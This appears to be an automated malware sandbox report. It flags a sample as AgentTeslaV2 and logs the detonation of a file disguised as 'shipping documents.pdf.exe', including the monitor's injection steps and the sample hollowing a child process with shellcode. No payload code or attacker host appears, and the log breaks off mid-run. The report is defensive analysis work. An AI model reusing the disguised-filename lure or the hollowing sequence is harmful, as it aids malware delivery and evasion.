Detections

Yara:

AgentTeslaV2

Auto Tasks

#17320: Unpacker

Analysis

Category Package Started Completed Duration Options Log
FILE exe 2020-06-30 06:08:34 2020-06-30 06:11:10 156 seconds Show Options Show Log
route = tor
2020-05-13 09:13:48,360 [root] INFO: Date set to: 20200630T06:07:33, timeout set to: 200
2020-06-30 06:07:33,031 [root] DEBUG: Starting analyzer from: C:\tmpq_mrpfl7
2020-06-30 06:07:33,031 [root] DEBUG: Storing results at: C:\JbiByQrEOI
2020-06-30 06:07:33,031 [root] DEBUG: Pipe server name: \\.\PIPE\OagfmmuNV
2020-06-30 06:07:33,031 [root] DEBUG: Python path: C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32
2020-06-30 06:07:33,031 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2020-06-30 06:07:33,046 [root] INFO: Automatically selected analysis package "exe"
2020-06-30 06:07:33,046 [root] DEBUG: Trying to import analysis package "exe"...
2020-06-30 06:07:33,062 [root] DEBUG: Imported analysis package "exe".
2020-06-30 06:07:33,062 [root] DEBUG: Trying to initialize analysis package "exe"...
2020-06-30 06:07:33,062 [root] DEBUG: Initialized analysis package "exe".
2020-06-30 06:07:33,109 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-06-30 06:07:33,109 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-06-30 06:07:33,109 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-06-30 06:07:33,140 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-06-30 06:07:33,140 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-06-30 06:07:33,171 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-06-30 06:07:33,171 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-06-30 06:07:33,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-06-30 06:07:33,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-06-30 06:07:33,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-06-30 06:07:33,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-06-30 06:07:33,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-06-30 06:07:33,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-06-30 06:07:33,203 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-06-30 06:07:33,218 [lib.api.screenshot] DEBUG: Importing 'math'
2020-06-30 06:07:33,218 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-06-30 06:07:34,249 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-06-30 06:07:34,265 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-06-30 06:07:34,265 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-06-30 06:07:34,265 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-06-30 06:07:34,281 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-06-30 06:07:34,281 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-06-30 06:07:34,281 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-06-30 06:07:34,312 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-06-30 06:07:34,312 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-06-30 06:07:34,312 [root] DEBUG: Initialized auxiliary module "Browser".
2020-06-30 06:07:34,312 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-06-30 06:07:34,312 [root] DEBUG: Started auxiliary module Browser
2020-06-30 06:07:34,312 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-06-30 06:07:34,312 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-06-30 06:07:34,312 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-06-30 06:07:34,328 [root] DEBUG: Started auxiliary module Curtain
2020-06-30 06:07:34,328 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-06-30 06:07:34,328 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-06-30 06:07:34,328 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-06-30 06:07:34,328 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-06-30 06:07:34,812 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-06-30 06:07:34,812 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-06-30 06:07:34,843 [root] DEBUG: Started auxiliary module DigiSig
2020-06-30 06:07:34,843 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-06-30 06:07:34,843 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-06-30 06:07:34,843 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-06-30 06:07:34,859 [root] DEBUG: Started auxiliary module Disguise
2020-06-30 06:07:34,859 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-06-30 06:07:34,859 [root] DEBUG: Initialized auxiliary module "Human".
2020-06-30 06:07:34,859 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-06-30 06:07:34,859 [root] DEBUG: Started auxiliary module Human
2020-06-30 06:07:34,875 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-06-30 06:07:34,875 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-06-30 06:07:34,875 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-06-30 06:07:34,875 [root] DEBUG: Started auxiliary module Procmon
2020-06-30 06:07:34,875 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-06-30 06:07:34,875 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-06-30 06:07:34,875 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-06-30 06:07:34,875 [root] DEBUG: Started auxiliary module Screenshots
2020-06-30 06:07:34,875 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-06-30 06:07:34,875 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-06-30 06:07:34,890 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-06-30 06:07:34,890 [root] DEBUG: Started auxiliary module Sysmon
2020-06-30 06:07:34,890 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-06-30 06:07:34,890 [root] DEBUG: Initialized auxiliary module "Usage".
2020-06-30 06:07:34,890 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-06-30 06:07:34,890 [root] DEBUG: Started auxiliary module Usage
2020-06-30 06:07:34,890 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL option
2020-06-30 06:07:34,890 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL_64 option
2020-06-30 06:07:34,890 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader option
2020-06-30 06:07:34,890 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader_64 option
2020-06-30 06:07:34,937 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe" with arguments "" with pid 1784
2020-06-30 06:07:34,937 [lib.api.process] INFO: Monitor config for process 1784: C:\tmpq_mrpfl7\dll\1784.ini
2020-06-30 06:07:34,953 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:35,015 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:35,015 [root] DEBUG: Loader: Injecting process 1784 (thread 3948) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:35,015 [root] DEBUG: Process image base: 0x000D0000
2020-06-30 06:07:35,031 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 06:07:35,031 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 06:07:35,031 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1784
2020-06-30 06:07:37,031 [lib.api.process] INFO: Successfully resumed process with pid 1784
2020-06-30 06:07:37,453 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 06:07:37,453 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 06:07:37,468 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 1784 at 0x6b650000, image base 0xd0000, stack from 0x265000-0x270000
2020-06-30 06:07:37,484 [root] INFO: Loaded monitor into process with pid 1784
2020-06-30 06:07:37,500 [root] DEBUG: set_caller_info: Adding region at 0x00170000 to caller regions list (advapi32::RegQueryInfoKeyW).
2020-06-30 06:07:37,500 [root] DEBUG: set_caller_info: Adding region at 0x01520000 to caller regions list (ntdll::RtlDispatchException).
2020-06-30 06:07:37,515 [root] DEBUG: DLL loaded at 0x75B30000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 06:07:37,515 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1520000
2020-06-30 06:07:37,531 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01520000 size 0x400000.
2020-06-30 06:07:37,531 [root] DEBUG: DumpPEsInRange: Scanning range 0x1520000 - 0x1521000.
2020-06-30 06:07:37,531 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1520000-0x1521000.
2020-06-30 06:07:37,609 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_9400395637271230262020 (size 0x597)
2020-06-30 06:07:37,609 [root] DEBUG: DumpRegion: Dumped stack region from 0x01520000, size 0x1000.
2020-06-30 06:07:37,609 [root] DEBUG: set_caller_info: Failed to dumping calling PE image at 0x00170000.
2020-06-30 06:07:37,625 [root] DEBUG: set_caller_info: Adding region at 0x00540000 to caller regions list (kernel32::FindFirstFileExW).
2020-06-30 06:07:37,656 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x607fff
2020-06-30 06:07:37,656 [root] DEBUG: DumpMemory: Nothing to dump at 0x00540000!
2020-06-30 06:07:37,656 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00540000 size 0xc8000.
2020-06-30 06:07:37,656 [root] DEBUG: DumpPEsInRange: Scanning range 0x540000 - 0x545000.
2020-06-30 06:07:37,656 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x540000-0x545000.
2020-06-30 06:07:37,687 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_213353833637271230262020 (size 0x4ff6)
2020-06-30 06:07:37,687 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xc4 amd local view 0x71720000 to global list.
2020-06-30 06:07:37,687 [root] DEBUG: DLL loaded at 0x71720000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7d000 bytes).
2020-06-30 06:07:37,734 [root] DEBUG: DLL unloaded from 0x76A30000.
2020-06-30 06:07:37,921 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd4 amd local view 0x00420000 to global list.
2020-06-30 06:07:37,937 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x00420000 to global list.
2020-06-30 06:07:37,937 [root] DEBUG: DLL loaded at 0x750B0000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 06:07:37,968 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x68450000 for section view with handle 0xd0.
2020-06-30 06:07:37,968 [root] DEBUG: DLL loaded at 0x68450000: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks (0x5b1000 bytes).
2020-06-30 06:07:37,984 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6B5B0000 for section view with handle 0xd4.
2020-06-30 06:07:37,984 [root] DEBUG: DLL loaded at 0x6B5B0000: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\MSVCR80 (0x9b000 bytes).
2020-06-30 06:07:38,000 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1784, handle 0xe0.
2020-06-30 06:07:38,000 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xdc amd local view 0x000A0000 to global list.
2020-06-30 06:07:38,000 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xe4 amd local view 0x000B0000 to global list.
2020-06-30 06:07:38,000 [root] INFO: Disabling sleep skipping.
2020-06-30 06:07:38,000 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 1784.
2020-06-30 06:07:38,015 [root] DEBUG: DLL loaded at 0x76AE0000: C:\Windows\system32\shell32 (0xc4c000 bytes).
2020-06-30 06:07:38,031 [root] DEBUG: DLL loaded at 0x75BE0000: C:\Windows\system32\profapi (0xb000 bytes).
2020-06-30 06:07:38,031 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 1784.
2020-06-30 06:07:38,046 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1a4 amd local view 0x66E90000 to global list.
2020-06-30 06:07:38,046 [root] DEBUG: DLL loaded at 0x66E90000: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\f8420d8c6ede777377fcff48a4beaa2a\mscorlib.ni (0xafe000 bytes).
2020-06-30 06:07:38,062 [root] DEBUG: DLL unloaded from 0x763A0000.
2020-06-30 06:07:38,078 [root] DEBUG: set_caller_info: Adding region at 0x03550000 to caller regions list (kernel32::SetErrorMode).
2020-06-30 06:07:38,078 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x358ffff
2020-06-30 06:07:38,078 [root] DEBUG: DumpMemory: Nothing to dump at 0x03550000!
2020-06-30 06:07:38,078 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x03550000 size 0x40000.
2020-06-30 06:07:38,078 [root] DEBUG: DumpPEsInRange: Scanning range 0x3550000 - 0x3551000.
2020-06-30 06:07:38,078 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x3550000-0x3551000.
2020-06-30 06:07:38,109 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_128345136838271230262020 (size 0xffe)
2020-06-30 06:07:38,109 [root] DEBUG: DumpRegion: Dumped stack region from 0x03550000, size 0x1000.
2020-06-30 06:07:38,109 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1b8 amd local view 0x00310000 to global list.
2020-06-30 06:07:38,125 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1b4 amd local view 0x00420000 to global list.
2020-06-30 06:07:38,156 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6B550000 for section view with handle 0x1b4.
2020-06-30 06:07:38,156 [root] DEBUG: DLL loaded at 0x6B550000: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit (0x5b000 bytes).
2020-06-30 06:07:38,359 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1c8 amd local view 0x666E0000 to global list.
2020-06-30 06:07:38,359 [root] DEBUG: DLL loaded at 0x666E0000: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\0a65164b17e5c64bacdc694ea2439c43\System.ni (0x7a5000 bytes).
2020-06-30 06:07:38,375 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6B260000 for section view with handle 0x1c8.
2020-06-30 06:07:38,375 [root] DEBUG: DLL loaded at 0x6B260000: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\175df210b784212def386595c25caefb\System.Drawing.ni (0x189000 bytes).
2020-06-30 06:07:38,406 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x654C0000 for section view with handle 0x1c8.
2020-06-30 06:07:38,406 [root] DEBUG: DLL loaded at 0x654C0000: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\5669120680b52abf616f3876387ca2cc\System.Windows.Forms.ni (0xbdf000 bytes).
2020-06-30 06:07:39,218 [root] DEBUG: set_caller_info: Adding region at 0x00450000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 06:07:39,218 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x45ffff
2020-06-30 06:07:39,218 [root] DEBUG: DumpMemory: Nothing to dump at 0x00450000!
2020-06-30 06:07:39,218 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00450000 size 0x10000.
2020-06-30 06:07:39,218 [root] DEBUG: DumpPEsInRange: Scanning range 0x450000 - 0x451000.
2020-06-30 06:07:39,218 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x450000-0x451000.
2020-06-30 06:07:39,249 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_77930759439271230262020 (size 0x146)
2020-06-30 06:07:39,265 [root] DEBUG: DLL loaded at 0x74790000: C:\Windows\system32\uxtheme (0x40000 bytes).
2020-06-30 06:07:39,265 [root] DEBUG: set_caller_info: Adding region at 0x00140000 to caller regions list (ntdll::LdrGetProcedureAddress).
2020-06-30 06:07:39,265 [root] DEBUG: set_caller_info: Failed to dumping calling PE image at 0x00140000.
2020-06-30 06:07:39,265 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1d4 amd local view 0x67F80000 to global list.
2020-06-30 06:07:39,343 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1d0 amd local view 0x00470000 to global list.
2020-06-30 06:07:39,390 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1dc amd local view 0x01400000 to global list.
2020-06-30 06:07:39,500 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1e4 amd local view 0x73550000 to global list.
2020-06-30 06:07:39,500 [root] DEBUG: DLL loaded at 0x73550000: C:\Windows\Microsoft.NET\Framework\v2.0.50727\culture (0x8000 bytes).
2020-06-30 06:07:39,515 [root] DEBUG: DLL unloaded from 0x73550000.
2020-06-30 06:07:39,531 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x01450000 for section view with handle 0x1e4.
2020-06-30 06:07:39,593 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00480000 for section view with handle 0x1e4.
2020-06-30 06:07:49,703 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1e8 amd local view 0x74560000 to global list.
2020-06-30 06:07:49,718 [root] DEBUG: DLL loaded at 0x74560000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\gdiplus (0x192000 bytes).
2020-06-30 06:07:49,718 [root] DEBUG: DLL loaded at 0x73E10000: C:\Windows\system32\WindowsCodecs (0x131000 bytes).
2020-06-30 06:07:49,734 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1f8 amd local view 0x014B0000 to global list.
2020-06-30 06:07:49,734 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x014C0000 for section view with handle 0x1f8.
2020-06-30 06:07:49,734 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x014D0000 for section view with handle 0x1f8.
2020-06-30 06:07:50,156 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1fc amd local view 0x6A390000 to global list.
2020-06-30 06:07:50,156 [root] DEBUG: DLL loaded at 0x6A390000: C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\4ac828c8c4c76f3ba59f8f9c7dab1cb3\Microsoft.VisualBasic.ni (0x19b000 bytes).
2020-06-30 06:07:50,343 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1f4 amd local view 0x02B70000 to global list.
2020-06-30 06:07:53,249 [root] INFO: Announced 32-bit process name: shipping documents.pdf.exe pid: 5132
2020-06-30 06:07:53,265 [lib.api.process] INFO: Monitor config for process 5132: C:\tmpq_mrpfl7\dll\5132.ini
2020-06-30 06:07:53,265 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:53,296 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:53,296 [root] DEBUG: Loader: Injecting process 5132 (thread 5124) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,296 [root] DEBUG: Process image base: 0x000D0000
2020-06-30 06:07:53,296 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 06:07:53,296 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 06:07:53,296 [root] DEBUG: Successfully injected DLL C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,312 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5132
2020-06-30 06:07:53,312 [root] DEBUG: DLL loaded at 0x75AE0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 06:07:53,343 [root] DEBUG: CreateProcessHandler: Injection info set for new process 5132, ImageBase: 0x000D0000
2020-06-30 06:07:53,343 [root] DEBUG: WriteMemoryHandler: Executable binary injected into process 5132 (ImageBase 0x400000)
2020-06-30 06:07:53,343 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 06:07:53,343 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x04B58428.
2020-06-30 06:07:53,421 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x45a00.
2020-06-30 06:07:53,421 [root] DEBUG: WriteMemoryHandler: Dumped PE image from buffer at 0x4b58428, SizeOfImage 0x4c000.
2020-06-30 06:07:53,421 [root] INFO: Announced 32-bit process name: shipping documents.pdf.exe pid: 5132
2020-06-30 06:07:53,421 [lib.api.process] INFO: Monitor config for process 5132: C:\tmpq_mrpfl7\dll\5132.ini
2020-06-30 06:07:53,421 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:53,437 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:53,437 [root] DEBUG: Loader: Injecting process 5132 (thread 0) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,437 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 06:07:53,437 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 06:07:53,437 [root] DEBUG: Failed to inject DLL C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,453 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5132, error: 4294967281
2020-06-30 06:07:53,453 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 06:07:53,453 [root] INFO: Announced 32-bit process name: shipping documents.pdf.exe pid: 5132
2020-06-30 06:07:53,453 [lib.api.process] INFO: Monitor config for process 5132: C:\tmpq_mrpfl7\dll\5132.ini
2020-06-30 06:07:53,453 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:53,484 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:53,484 [root] DEBUG: Loader: Injecting process 5132 (thread 0) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,484 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 06:07:53,484 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 06:07:53,484 [root] DEBUG: Failed to inject DLL C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,484 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5132, error: 4294967281
2020-06-30 06:07:53,484 [root] DEBUG: WriteMemoryHandler: shellcode at 0x03D59794 (size 0x400) injected into process 5132.
2020-06-30 06:07:53,515 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_83940843216281230262020 (size 0x2d0)
2020-06-30 06:07:53,515 [root] DEBUG: WriteMemoryHandler: Dumped injected code/data from buffer.
2020-06-30 06:07:53,515 [root] INFO: Announced 32-bit process name: shipping documents.pdf.exe pid: 5132
2020-06-30 06:07:53,515 [lib.api.process] INFO: Monitor config for process 5132: C:\tmpq_mrpfl7\dll\5132.ini
2020-06-30 06:07:53,515 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:53,531 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:53,546 [root] DEBUG: Loader: Injecting process 5132 (thread 0) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,546 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 06:07:53,546 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 06:07:53,546 [root] DEBUG: Failed to inject DLL C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,546 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5132, error: 4294967281
2020-06-30 06:07:53,546 [root] DEBUG: WriteMemoryHandler: shellcode at 0x03D59BA0 (size 0x200) injected into process 5132.
2020-06-30 06:07:53,578 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\1784_72248614216281230262020 (size 0x9)
2020-06-30 06:07:53,578 [root] DEBUG: WriteMemoryHandler: Dumped injected code/data from buffer.
2020-06-30 06:07:53,578 [root] INFO: Announced 32-bit process name: shipping documents.pdf.exe pid: 5132
2020-06-30 06:07:53,578 [lib.api.process] INFO: Monitor config for process 5132: C:\tmpq_mrpfl7\dll\5132.ini
2020-06-30 06:07:53,578 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpq_mrpfl7\dll\BkWsDu.dll, loader C:\tmpq_mrpfl7\bin\FkRGFgQ.exe
2020-06-30 06:07:53,609 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\OagfmmuNV.
2020-06-30 06:07:53,609 [root] DEBUG: Loader: Injecting process 5132 (thread 0) with C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,609 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID -17, handle 0x0
2020-06-30 06:07:53,640 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 06:07:53,640 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 06:07:53,640 [root] INFO: Disabling sleep skipping.
2020-06-30 06:07:53,640 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 5132 at 0x6b650000, image base 0xd0000, stack from 0x706000-0x710000
2020-06-30 06:07:53,656 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\"{path}".
2020-06-30 06:07:53,671 [root] INFO: Loaded monitor into process with pid 5132
2020-06-30 06:07:53,671 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-06-30 06:07:53,671 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-06-30 06:07:53,671 [root] DEBUG: Successfully injected DLL C:\tmpq_mrpfl7\dll\BkWsDu.dll.
2020-06-30 06:07:53,687 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x0004701E (process 5132).
2020-06-30 06:07:53,687 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5132.
2020-06-30 06:07:53,687 [root] DEBUG: set_caller_info: Adding region at 0x00030000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 06:07:53,687 [root] DEBUG: set_caller_info: Adding region at 0x01640000 to caller regions list (kernel32::GetSystemTime).
2020-06-30 06:07:53,703 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 1784.
2020-06-30 06:07:53,703 [root] DEBUG: DLL loaded at 0x75B30000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 06:07:53,703 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1640000
2020-06-30 06:07:53,703 [root] DEBUG: DLL loaded at 0x75600000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 06:07:53,718 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01640000 size 0x400000.
2020-06-30 06:07:53,718 [root] DEBUG: DumpPEsInRange: Scanning range 0x1640000 - 0x1641000.
2020-06-30 06:07:53,718 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1640000-0x1641000.
